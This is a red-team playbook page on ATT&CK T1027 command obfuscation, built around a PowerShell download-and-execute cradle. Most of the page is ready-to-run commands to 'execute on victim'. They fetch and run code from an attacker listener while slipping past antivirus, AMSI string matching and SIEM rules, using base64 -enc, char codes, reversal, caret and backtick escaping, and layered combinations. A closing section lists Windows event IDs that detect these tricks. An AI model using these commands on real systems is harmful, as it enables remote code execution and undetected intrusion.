Skip to main content

T1027: Obfuscation

Covers: T1027 - Obfuscated Files or Information, T1027.010 - Command Obfuscation


Technique Requirements​

Privileges RequiredUser (all methods are pure PowerShell / cmd.exe - no elevated rights needed)
Effective PermissionsContext of the invoking user
Employment Complexity2/5 - Low
Detection Complexity3/5 - Medium (signature evasion is high; behavioral detection by mature EDR is unaffected)

Background​

Obfuscation modifies the text representation of a command or script without changing what it does. The goal is to defeat signature-based detection - AMSI string matching, AV pattern scanning, and SIEM alert rules that match on specific strings like IEX, DownloadString, mshta, or WebClient.

Critical limitation: Obfuscation evades static detection. A mature EDR that performs behavioral analysis (watches what the process does rather than what it says) will detect the technique regardless of how the command is spelled. Obfuscation is most valuable against:

  • Antivirus products with static signature databases
  • SIEM rules that alert on specific command-line strings
  • Proxy/DLP appliances that inspect URL parameters or POST bodies
  • AppLocker script rules that match on content

It provides no additional protection against:

  • EDR behavioral rules (process lineage, network connections, memory injection)
  • Script block logging (EventID 4104) - PowerShell deobfuscates before logging
  • AMSI hooks in the PS runtime (the deobfuscated command is what AMSI scans)

All methods here are pure PowerShell or cmd.exe - no external tools needed.


The Canonical Cradle (Baseline)​

All examples in this document obfuscate variants of the standard Metasploit web_delivery PowerShell cradle. The cleartext baseline is:

IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

The tokens most likely to trigger signatures are:

  • IEX / Invoke-Expression
  • DownloadString
  • Net.WebClient
  • New-Object
  • The listener URL/IP

Method 1: -EncodedCommand (Base64)​

Most portable, least creative. PowerShell's -EncodedCommand (-enc) flag accepts a base64-encoded UTF-16LE string and executes it directly. No IEX in the command line, no visible cradle.

Encode the cradle on Kali​

CRADLE="IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
echo -n "$CRADLE" | iconv -t UTF-16LE | base64 -w 0

Output (example): SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADUAMAA6ADgANAA0ADMALwBBAGIAYwBYAHkAegAnACkA

Execute on victim​

powershell -nop -w 1 -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADUAMAA6ADgANAA0ADMALwBBAGIAYwBYAHkAegAnACkA

The command line contains no recognizable strings - IEX, DownloadString, and the URL are all encoded.

note

-EncodedCommand is itself a well-known indicator. SIEM rules often flag powershell -enc or powershell -e with a long base64 string. It evades content-based string matching but not powershell -enc pattern rules. Layer with Method 5 (caret escaping) if the -enc flag itself is flagged.


Method 2: String Concatenation and Splitting​

Break up flagged tokens by concatenating substrings. PowerShell evaluates string expressions, so "IE"+"X" is the string "IEX" at runtime.

Concatenation examples​

# Split IEX
& ("IE"+"X") (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

# Split New-Object
& ("IEX") (& ("New-Ob"+"ject") Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

# Split DownloadString
$wc = New-Object Net.WebClient
$url = 'https://192.168.1.50:8443/AbcXyz'
IEX $wc.("Down"+"load"+"String")($url)

# Split the type name
IEX (New-Object ("Net.Web"+"Client")).DownloadString('https://192.168.1.50:8443/AbcXyz')

Variable-based splitting​

$a = "IEX"
$b = " (New-Object Net.WebClient).DownloadString"
$c = "('https://192.168.1.50:8443/AbcXyz')"
Invoke-Expression ($a + $b + $c)

Method 3: [char] Array Construction​

Build strings character-by-character using ASCII codes. No recognizable token appears in the source.

Build "IEX" from character codes​

# IEX = [char]73 + [char]69 + [char]88
$iex = [char]73+[char]69+[char]88
& $iex (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

Build the entire cradle from char codes (Kali helper)​

# Generate [char]XX+[char]XX... representation of any string on Kali:
python3 -c "
s = \"IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')\"
print('+'.join(f'[char]{ord(c)}' for c in s))
"

Paste the output directly into PowerShell:

# The output of the above (abbreviated):
IEX ([char]73+[char]69+[char]88+[char]32+[char]40+ ...)
note

Full char-code construction produces very long command lines and is easy for humans to spot in logs - but it defeats simple substring matching. Combine with -EncodedCommand for a shorter representation if command-line length is a concern.


Method 4: String Reversal​

Reverse a flagged token, then reverse it back at runtime using PS array slicing.

# 'xei' reversed is 'iex' reversed is 'IEX'
$rev = 'xeI'
$iex = $rev[-1..-3] -join '' # result: 'IeX' - PS is case-insensitive

# Or: reverse 'gnirtSdaolnwoD' to get 'DownloadString'
$dl = 'gnirtSdaolnwoD'[-1..-14] -join ''

$wc = New-Object Net.WebClient
& ($rev[-1..-3] -join '') $wc.$dl('https://192.168.1.50:8443/AbcXyz')

Combine with variable replacement​

$cmd = 'gnirtSdaolnwoD-tneildbeW.teN tcejbO-weN( XEI'[-1..-51] -join ''
Invoke-Expression $cmd

Method 5: cmd.exe Caret (^) Escaping​

The ^ character in cmd.exe is an escape character that is stripped before the command is passed to the shell. It breaks up flagged strings at the cmd.exe layer while leaving the actual executed command intact.

# powershell.exe becomes p^o^w^e^r^s^h^e^l^l^.^e^x^e
p^o^w^e^r^s^h^e^l^l -nop -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"

# Break up the entire command at cmd.exe level
cmd /c "p^ow^er^sh^el^l -nop -w 1 -c IE^X ^(Ne^w-Ob^ject Ne^t.W^ebC^lie^nt^).Do^wnl^oadS^tri^ng^('https://192.168.1.50:8443/AbcXyz')"

Why this works: SIEM and AV string matching operates on the raw command line string before cmd.exe processes it. The caret characters are invisible to PowerShell because cmd.exe strips them before spawning the child process.

Limitation: Only works when the command is launched via cmd.exe. Direct PowerShell invocations are unaffected.


Method 6: PowerShell Backtick (`) Escaping​

PowerShell's backtick character is its escape character. Inside a string or command, `i is the same as i (for most characters) - it breaks up token strings while producing identical output.

# IEX β†’ `I`E`X
`I`E`X (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

# New-Object β†’ N`ew-O`bject
IEX (N`ew-O`bject Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')

# DownloadString β†’ D`ownlo`adStr`ing
IEX (New-Object Net.WebClient).D`ownlo`adStr`ing('https://192.168.1.50:8443/AbcXyz')

# All three combined:
`I`E`X (N`ew-`Ob`jec`t N`et`.`We`bC`li`en`t).D`own`loa`dS`tr`ing('https://192.168.1.50:8443/AbcXyz')
note

Script block logging (EventID 4104) logs the deobfuscated form after PowerShell parses backticks. This method evades command-line string matching but not script block logging.


Method 7: Alternate Invocation (No IEX / Invoke-Expression)​

Replace IEX with alternate invocation forms that are less commonly flagged.

[ScriptBlock]::Create() + .Invoke()​

[ScriptBlock]::Create("(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')").Invoke()

$ExecutionContext.InvokeCommand.InvokeScript()​

$ExecutionContext.InvokeCommand.InvokeScript("(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')")

.Invoke() on a scriptblock literal​

& {(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')}

Invoke-Command with a scriptblock​

Invoke-Command -ScriptBlock {(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')}

Method 8: Environment Variable and Path Substitution​

Abuse environment variables to avoid typing flagged binary names directly in the command line.

# %ComSpec% = C:\Windows\system32\cmd.exe
%ComSpec% /c powershell -nop -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"

# %SystemRoot% = C:\Windows
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w 1 -enc <B64>

# Build powershell path from env vars in PS
$ps = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe"
& $ps -nop -w 1 -enc <B64>

In PowerShell, drive and path variables work for bypassing product-specific binary name matching:

# HKLM path rewrite - looks up PS from registry instead of hardcoding path
$ps = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell").Path
& $ps -nop -w 1 -enc <B64>

Layering: Combining Methods​

The highest-confidence evasion comes from stacking multiple obfuscation layers. A practical two-layer approach for production use:

Layer 1: Encode the payload with -EncodedCommand (hides content) Layer 2: Break up the powershell -enc invocation with caret escaping (hides the -enc flag itself)

# On Kali - generate encoded command:
CRADLE="IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
B64=$(echo -n "$CRADLE" | iconv -t UTF-16LE | base64 -w 0)
echo "p^ow^er^sh^el^l -nop -w 1 -en^c $B64"

Execute on victim via cmd.exe:

cmd /c "p^ow^er^sh^el^l -nop -w 1 -en^c SQBFAFgA..."

Three-layer example (encode β†’ tick escape the encoder flag β†’ caret escape the whole thing):

cmd /c "p^ow^er^she^ll -n`op -w`indowStyle 1 -en^c SQBFAFgA..."

Quick Reference: What Each Method Defeats​

MethodDefeatsDoes NOT defeat
-EncodedCommandContent string matching on cradle tokens-enc pattern rules, script block logging, AMSI
String concatenationStatic substring matchingScript block logging, AMSI hooks
[char] constructionLiteral string matchingScript block logging, AMSI hooks
String reversalLiteral string matchingScript block logging, AMSI hooks
cmd.exe caret ^Raw cmdline string matching at SIEM layerPS script block logging, process behavior EDR
Backtick `Cmdline string matching at SIEM layerPS script block logging (deobfuscated before log)
Alternate IEXIEX/Invoke-Expression signature rulesBehavioral detection of script execution
Env var substitutionBinary name exact-match rulesPath-based process rules, behavior EDR

Log Detection​

  • Source: Microsoft-Windows-PowerShell/Operational
    • EventID:4104 (Script Block Logging)
      • PowerShell logs the deobfuscated script block after parsing - all obfuscation methods above are defeated by script block logging. The deobfuscated cradle appears in plaintext. If this event source is enabled on the target, obfuscation provides minimal benefit.
  • Source: Microsoft-Windows-Sysmon/Operational
    • EventID:1 (ProcessCreate)
      • powershell.exe with -enc and a long base64 string (Method 1)
      • powershell.exe launched by cmd.exe with caret-heavy command line (Method 5)
      • Unusual parent processes for powershell.exe (any signed binary proxy)
  • Source: Security
    • EventID:4688 (Process creation with command line auditing)
      • Same patterns - -enc flag, heavily escaped command lines